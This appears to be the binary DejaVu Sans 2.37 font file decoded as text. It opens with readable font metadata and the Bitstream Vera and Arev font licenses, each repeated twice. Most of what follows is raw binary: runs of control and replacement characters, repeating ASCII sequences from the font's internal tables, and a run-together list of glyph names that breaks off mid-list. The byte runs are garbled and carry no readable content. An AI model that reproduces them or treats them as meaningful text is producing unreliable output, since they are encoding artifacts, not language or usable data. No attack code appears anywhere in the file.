DejaVu SansDejaVu SansBookBookDejaVu SansDejaVu SansDejaVu SansDejaVu SansVersion 2.37Version 2.37DejaVuSansDejaVuSansDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.Fonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SansDejaVu SansBookBook�~Zm	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�bcdefghijklmnopqrstuvw�xyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

������������ !"#$%&'(�)*+,-./0��123456789�:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklm	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D4uni02D5uni02D6uni02D7uni02DEuni02DFuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EDuni02EEuni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0340uni0341uni0342uni0343uni0344uni0345uni0346uni0347uni0348uni0349uni034Auni034Buni034Cuni034Duni034Euni034Funi0351uni0352uni0353uni0357uni0358uni035Auni035Cuni035Duni035Euni035Funi0360uni0361uni0362uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03E2uni03E3uni03E4uni03E5uni03E6uni03E7uni03E8uni03E9uni03EAuni03EBuni03ECuni03EDuni03EEuni03EFuni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0460uni0461uni0462uni0463uni0464uni0465uni0466uni0467uni0468uni0469uni046Auni046Buni046Cuni046Duni046Euni046Funi0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni0478uni0479uni047Auni047Buni047Cuni047Duni047Euni047Funi0480uni0481uni0482uni0483uni0484uni0485uni0486uni0487uni0488uni0489uni048Auni048Buni048Cuni048Duni048Euni048Funi0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Cuni049Duni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04A8uni04A9uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04B8uni04B9uni04BAuni04BBuni04BCuni04BDuni04BEuni04BFuni04C0uni04C1uni04C2uni04C3uni04C4uni04C5uni04C6uni04C7uni04C8uni04C9uni04CAuni04CBuni04CCuni04CDuni04CEuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni04FAuni04FBuni04FCuni04FDuni04FEuni04FFuni0500uni0501uni0502uni0503uni0504uni0505uni0506uni0507uni0508uni0509uni050Auni050Buni050Cuni050Duni050Euni050Funi0510uni0511uni0512uni0513uni0514uni0515uni0516uni0517uni0518uni0519uni051Auni051Buni051Cuni051Duni051Euni051Funi0520uni0521uni0522uni0523uni0524uni0525uni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni05B0uni05B1uni05B2uni05B3uni05B4uni05B5uni05B6uni05B7uni05B8uni05B9uni05BAuni05BBuni05BCuni05BDuni05BEuni05BFuni05C0uni05C1uni05C2uni05C3uni05C6uni05C7uni05D0uni05D1uni05D2uni05D3uni05D4uni05D5uni05D6uni05D7uni05D8uni05D9uni05DAuni05DBuni05DCuni05DDuni05DEuni05DFuni05E0uni05E1uni05E2uni05E3uni05E4uni05E5uni05E6uni05E7uni05E8uni05E9uni05EAuni05F0uni05F1uni05F2uni05F3uni05F4uni0606uni0607uni0609uni060Auni060Cuni0615uni061Buni061Funi0621uni0622uni0623uni0624uni0625uni0626uni0627uni0628uni0629uni062Auni062Buni062Cuni062Duni062Euni062Funi0630uni0631uni0632uni0633uni0634uni0635uni0636uni0637uni0638uni0639uni063Auni0640uni0641uni0642uni0643uni0644uni0645uni0646uni0647uni0648uni0649uni064Auni064Buni064Cuni064Duni064Euni064Funi0650uni0651uni0652uni0653uni0654uni0655uni0657uni065Auni0660uni0661uni0662uni0663uni0664uni0665uni0666uni0667uni0668uni0669uni066Auni066Buni066Cuni066Duni066Euni066Funi0670uni0674uni0679uni067Auni067Buni067Cuni067Duni067Euni067Funi0680uni0681uni0682uni0683uni0684uni0685uni0686uni0687uni0688uni0689uni068Auni068Buni068Cuni068Duni068Euni068Funi0690uni0691uni0692uni0693uni0694uni0695uni0696uni0697uni0698uni0699uni069Auni069Buni069Cuni069Duni069Euni069Funi06A0uni06A1uni06A2uni06A3uni06A4uni06A5uni06A6uni06A7uni06A8uni06A9uni06AAuni06ABuni06ACuni06ADuni06AEuni06AFuni06B0uni06B1uni06B2uni06B3uni06B4uni06B5uni06B6uni06B7uni06B8uni06B9uni06BAuni06BBuni06BCuni06BDuni06BEuni06BFuni06C6uni06C7uni06C8uni06CBuni06CCuni06CEuni06D0uni06D5uni06F0uni06F1uni06F2uni06F3uni06F4uni06F5uni06F6uni06F7uni06F8uni06F9uni07C0uni07C1uni07C2uni07C3uni07C4uni07C5uni07C6uni07C7uni07C8uni07C9uni07CAuni07CBuni07CCuni07CDuni07CEuni07CFuni07D0uni07D1uni07D2uni07D3uni07D4uni07D5uni07D6uni07D7uni07D8uni07D9uni07DAuni07DBuni07DCuni07DDuni07DEuni07DFuni07E0uni07E1uni07E2uni07E3uni07E4uni07E5uni07E6uni07E7uni07EBuni07ECuni07EDuni07EEuni07EFuni07F0uni07F1uni07F2uni07F3uni07F4uni07F5uni07F8uni07F9uni07FAuni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EBDuni0EC0uni0EC1uni0EC2uni0EC3uni0EC4uni0EC6uni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni0ED0uni0ED1uni0ED2uni0ED3uni0ED4uni0ED5uni0ED6uni0ED7uni0ED8uni0ED9uni0EDCuni0EDDuni10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1401uni1402uni1403uni1404uni1405uni1406uni1407uni1409uni140Auni140Buni140Cuni140Duni140Euni140Funi1410uni1411uni1412uni1413uni1414uni1415uni1416uni1417uni1418uni1419uni141Auni141Buni141Duni141Euni141Funi1420uni1421uni1422uni1423uni1424uni1425uni1426uni1427uni1428uni1429uni142Auni142Buni142Cuni142Duni142Euni142Funi1430uni1431uni1432uni1433uni1434uni1435uni1437uni1438uni1439uni143Auni143Buni143Cuni143Duni143Euni143Funi1440uni1441uni1442uni1443uni1444uni1445uni1446uni1447uni1448uni1449uni144Auni144C